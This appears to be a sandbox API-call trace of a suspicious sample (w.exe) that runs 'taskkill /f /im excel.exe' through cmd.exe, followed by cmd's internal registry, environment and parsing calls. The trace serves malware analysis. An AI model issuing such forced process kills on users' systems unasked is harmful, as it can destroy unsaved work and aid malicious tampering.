	[0043.964] GetEnvironmentStringsW () returned 0x5a2000*
	[0043.964] GetProcessHeap () returned 0x590000
	[0043.964] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xaca) returned 0x5a35b0
	[0043.964] FreeEnvironmentStringsW (penv=0x5a2000) returned 1
	[0043.964] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x30e918 | out: phkResult=0x30e918*=0x68) returned 0x0
	[0043.965] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x30e920, lpData=0x30e924, lpcbData=0x30e91c*=0x1000 | out: lpType=0x30e920*=0x0, lpData=0x30e924*=0x0, lpcbData=0x30e91c*=0x1000) returned 0x2
	[0043.965] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x30e920, lpData=0x30e924, lpcbData=0x30e91c*=0x1000 | out: lpType=0x30e920*=0x4, lpData=0x30e924*=0x1, lpcbData=0x30e91c*=0x4) returned 0x0
	[0043.965] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x30e920, lpData=0x30e924, lpcbData=0x30e91c*=0x1000 | out: lpType=0x30e920*=0x0, lpData=0x30e924*=0x1, lpcbData=0x30e91c*=0x1000) returned 0x2
	[0043.965] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x30e920, lpData=0x30e924, lpcbData=0x30e91c*=0x1000 | out: lpType=0x30e920*=0x4, lpData=0x30e924*=0x0, lpcbData=0x30e91c*=0x4) returned 0x0
	[0043.965] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x30e920, lpData=0x30e924, lpcbData=0x30e91c*=0x1000 | out: lpType=0x30e920*=0x4, lpData=0x30e924*=0x40, lpcbData=0x30e91c*=0x4) returned 0x0
	[0043.965] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x30e920, lpData=0x30e924, lpcbData=0x30e91c*=0x1000 | out: lpType=0x30e920*=0x4, lpData=0x30e924*=0x40, lpcbData=0x30e91c*=0x4) returned 0x0
	[0043.965] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x30e920, lpData=0x30e924, lpcbData=0x30e91c*=0x1000 | out: lpType=0x30e920*=0x0, lpData=0x30e924*=0x40, lpcbData=0x30e91c*=0x1000) returned 0x2
	[0043.965] RegCloseKey (hKey=0x68) returned 0x0
	[0043.965] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x30e918 | out: phkResult=0x30e918*=0x68) returned 0x0
	[0043.965] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x30e920, lpData=0x30e924, lpcbData=0x30e91c*=0x1000 | out: lpType=0x30e920*=0x0, lpData=0x30e924*=0x40, lpcbData=0x30e91c*=0x1000) returned 0x2
	[0043.965] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x30e920, lpData=0x30e924, lpcbData=0x30e91c*=0x1000 | out: lpType=0x30e920*=0x4, lpData=0x30e924*=0x1, lpcbData=0x30e91c*=0x4) returned 0x0
	[0043.965] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x30e920, lpData=0x30e924, lpcbData=0x30e91c*=0x1000 | out: lpType=0x30e920*=0x0, lpData=0x30e924*=0x1, lpcbData=0x30e91c*=0x1000) returned 0x2
	[0043.965] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x30e920, lpData=0x30e924, lpcbData=0x30e91c*=0x1000 | out: lpType=0x30e920*=0x4, lpData=0x30e924*=0x0, lpcbData=0x30e91c*=0x4) returned 0x0
	[0043.965] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x30e920, lpData=0x30e924, lpcbData=0x30e91c*=0x1000 | out: lpType=0x30e920*=0x4, lpData=0x30e924*=0x9, lpcbData=0x30e91c*=0x4) returned 0x0
	[0043.965] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x30e920, lpData=0x30e924, lpcbData=0x30e91c*=0x1000 | out: lpType=0x30e920*=0x4, lpData=0x30e924*=0x9, lpcbData=0x30e91c*=0x4) returned 0x0
	[0043.965] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x30e920, lpData=0x30e924, lpcbData=0x30e91c*=0x1000 | out: lpType=0x30e920*=0x0, lpData=0x30e924*=0x9, lpcbData=0x30e91c*=0x1000) returned 0x2
	[0043.965] RegCloseKey (hKey=0x68) returned 0x0
	[0043.965] time (in: timer=0x0 | out: timer=0x0) returned 0x5d163034
	[0043.965] srand (_Seed=0x5d163034) 
	[0043.965] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im excel.exe \""
	[0043.965] GetCommandLineW () returned="cmd.exe /c \"taskkill /f /im excel.exe \""
	[0043.966] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab25260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0043.966] GetProcessHeap () returned 0x590000
	[0043.966] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x210) returned 0x5a2000
	[0043.966] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5a2008, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b
	[0043.966] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ab30640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0043.966] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab30640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0043.966] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ab30640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0043.966] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0043.966] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0043.966] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0043.966] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0043.966] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0043.966] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0043.966] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0043.966] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0043.967] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0043.967] GetProcessHeap () returned 0x590000
	[0043.967] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a2ad8 | out: hHeap=0x590000) returned 1
	[0043.967] GetEnvironmentStringsW () returned 0x5a2218*
	[0043.967] GetProcessHeap () returned 0x590000
	[0043.967] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xae2) returned 0x5a4b78
	[0043.967] FreeEnvironmentStringsW (penv=0x5a2218) returned 1
	[0043.967] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ab30640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0043.967] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ab30640, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0043.967] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0043.967] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0043.967] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0043.967] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0043.967] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0043.967] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0043.967] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0043.967] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0043.967] GetProcessHeap () returned 0x590000
	[0043.967] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x54) returned 0x5a5668
	[0043.967] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x30f6e4 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0043.967] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x30f6e4, lpFilePart=0x30f6e0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x30f6e0*="Desktop") returned 0x25
	[0043.967] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0043.967] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x30f460 | out: lpFindFileData=0x30f460*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x5a1e80
	[0043.968] FindClose (in: hFindFile=0x5a1e80 | out: hFindFile=0x5a1e80) returned 1
	[0043.968] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x30f460 | out: lpFindFileData=0x30f460*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x5a1e80
	[0043.968] FindClose (in: hFindFile=0x5a1e80 | out: hFindFile=0x5a1e80) returned 1
	[0043.968] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0043.968] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x30f460 | out: lpFindFileData=0x30f460*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x5a1e80
	[0043.968] FindClose (in: hFindFile=0x5a1e80 | out: hFindFile=0x5a1e80) returned 1
	[0043.968] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0043.968] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0043.968] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0043.968] GetProcessHeap () returned 0x590000
	[0043.968] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a4b78 | out: hHeap=0x590000) returned 1
	[0043.968] GetEnvironmentStringsW () returned 0x5a4088*
	[0043.968] GetProcessHeap () returned 0x590000
	[0043.968] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xb36) returned 0x5a5ec8
	[0043.968] FreeEnvironmentStringsW (penv=0x5a4088) returned 1
	[0043.969] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ab25260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0043.969] GetProcessHeap () returned 0x590000
	[0043.969] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a5668 | out: hHeap=0x590000) returned 1
	[0043.969] GetProcessHeap () returned 0x590000
	[0043.969] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x400e) returned 0x5a6a08
	[0043.969] GetProcessHeap () returned 0x590000
	[0043.969] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x46) returned 0x5a1e80
	[0043.969] GetProcessHeap () returned 0x590000
	[0043.969] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x4008) returned 0x5aaa20
	[0043.969] GetProcessHeap () returned 0x590000
	[0043.969] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x4008) returned 0x5aea30
	[0043.971] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0043.971] GetProcessHeap () returned 0x590000
	[0043.971] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x418) returned 0x5a2d58
	[0043.971] SetErrorMode (uMode=0x0) returned 0x8003
	[0043.971] SetErrorMode (uMode=0x1) returned 0x0
	[0043.971] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x5a2d60, lpFilePart=0x30f65c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x30f65c*="f") returned 0x31
	[0043.971] SetErrorMode (uMode=0x8003) returned 0x1
	[0043.971] GetProcessHeap () returned 0x590000
	[0043.971] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a2d58, Size=0x88) returned 0x5a2d58
	[0043.971] GetProcessHeap () returned 0x590000
	[0043.971] RtlSizeHeap (HeapHandle=0x590000, Flags=0x0, MemoryPointer=0x5a2d58) returned 0x88
	[0043.972] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0043.972] GetProcessHeap () returned 0x590000
	[0043.972] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x72) returned 0x5b2a58
	[0043.972] GetProcessHeap () returned 0x590000
	[0043.972] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xd8) returned 0x5a2de8
	[0043.972] GetProcessHeap () returned 0x590000
	[0043.972] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a2de8, Size=0x72) returned 0x5a2de8
	[0043.972] GetProcessHeap () returned 0x590000
	[0043.972] RtlSizeHeap (HeapHandle=0x590000, Flags=0x0, MemoryPointer=0x5a2de8) returned 0x72
	[0043.972] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ab30640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0043.972] GetProcessHeap () returned 0x590000
	[0043.972] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0xe0) returned 0x5a2e68
	[0043.975] GetProcessHeap () returned 0x590000
	[0043.975] RtlReAllocateHeap (Heap=0x590000, Flags=0x0, Ptr=0x5a2e68, Size=0x76) returned 0x5a2e68
	[0043.975] GetProcessHeap () returned 0x590000
	[0043.975] RtlSizeHeap (HeapHandle=0x590000, Flags=0x0, MemoryPointer=0x5a2e68) returned 0x76
	[0043.975] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0043.976] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im excel.exe ", fInfoLevelId=0x1, lpFindFileData=0x30f3f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30f3f8) returned 0xffffffff
	[0043.976] GetLastError () returned 0x3
	[0043.976] GetProcessHeap () returned 0x590000
	[0043.976] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5aaa20 | out: hHeap=0x590000) returned 1
	[0043.976] GetProcessHeap () returned 0x590000
	[0043.976] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5aea30 | out: hHeap=0x590000) returned 1
	[0043.976] GetProcessHeap () returned 0x590000
	[0043.976] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a6a08 | out: hHeap=0x590000) returned 1
	[0043.976] GetConsoleOutputCP () returned 0x1b5
	[0043.976] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ab24260 | out: lpCPInfo=0x4ab24260) returned 1
	[0043.976] GetUserDefaultLCID () returned 0x409
	[0043.977] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ab24950, cchData=8 | out: lpLCData=":") returned 2
	[0043.977] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x30f824, cchData=128 | out: lpLCData="0") returned 2
	[0043.977] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x30f824, cchData=128 | out: lpLCData="0") returned 2
	[0043.977] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x30f824, cchData=128 | out: lpLCData="1") returned 2
	[0043.977] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ab24940, cchData=8 | out: lpLCData="/") returned 2
	[0043.977] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ab24d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0043.977] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ab24d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0043.977] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ab24d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0043.977] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ab24cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0043.977] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ab24c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0043.977] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ab24c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0043.977] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ab24c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0043.977] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ab24930, cchData=8 | out: lpLCData=".") returned 2
	[0043.978] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ab24920, cchData=8 | out: lpLCData=",") returned 2
	[0043.978] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0043.979] GetProcessHeap () returned 0x590000
	[0043.979] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x20c) returned 0x5a2f20
	[0043.979] GetConsoleTitleW (in: lpConsoleTitle=0x5a2f20, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0043.979] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0043.979] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0043.979] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0043.979] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0043.980] GetProcessHeap () returned 0x590000
	[0043.980] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x400a) returned 0x5a6a08
	[0043.980] GetProcessHeap () returned 0x590000
	[0043.980] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x5a6a08 | out: hHeap=0x590000) returned 1
	[0043.980] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0043.980] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0043.980] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0043.980] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0043.980] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0043.980] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0043.980] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0043.980] GetProcessHeap () returned 0x590000
	[0043.980] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x58) returned 0x5a3138
	[0043.981] GetProcessHeap () returned 0x590000
	[0043.981] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x1a) returned 0x5a5708
	[0043.981] GetProcessHeap () returned 0x590000
	[0043.981] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x2e) returned 0x5a3198
	[0043.982] GetConsoleTitleW (in: lpConsoleTitle=0x30f51c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0043.982] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0043.982] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0043.982] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0043.982] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0043.982] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0043.982] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0043.982] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0043.982] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0043.982] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0043.982] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0043.982] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0043.982] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0043.982] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0043.982] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0043.982] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0043.982] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0043.982] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0043.983] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0043.983] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0043.983] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0043.983] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0043.983] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0043.983] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0043.983] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0043.983] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0043.983] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0043.983] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0043.983] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0043.983] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0043.983] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0043.983] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0043.983] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0043.983] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0043.983] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0043.983] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0043.983] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0043.983] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0043.983] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0043.983] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0043.983] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0043.983] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0043.983] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0043.983] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0043.983] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0043.983] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0043.983] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0043.983] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0043.983] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0043.983] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0043.983] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0043.983] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0043.983] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0043.984] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0043.984] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0043.984] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0043.984] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0043.984] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0043.984] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0043.984] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0043.984] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0043.984] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0043.984] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0043.984] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0043.984] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0043.984] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0043.984] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0043.984] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0043.984] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0043.984] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0043.984] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0043.984] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0043.984] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0043.984] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0043.984] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0043.984] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0043.984] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0043.984] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0043.984] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0043.984] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0043.984] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0043.984] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0043.984] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0043.984] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0043.984] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0043.984] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0043.984] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0043.984] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0043.985] GetProcessHeap () returned 0x590000
	[0043.985] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x210) returned 0x5a31d0
	[0043.985] GetProcessHeap () returned 0x590000
	[0043.985] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x40) returned 0x5a33e8
	[0043.985] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0043.985] GetProcessHeap () returned 0x590000
	[0043.985] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x8, Size=0x418) returned 0x5907f0
	[0043.985] SetErrorMode (uMode=0x0) returned 0x8003
	[0043.985] SetErrorMode (uMode=0x1) returned 0x0
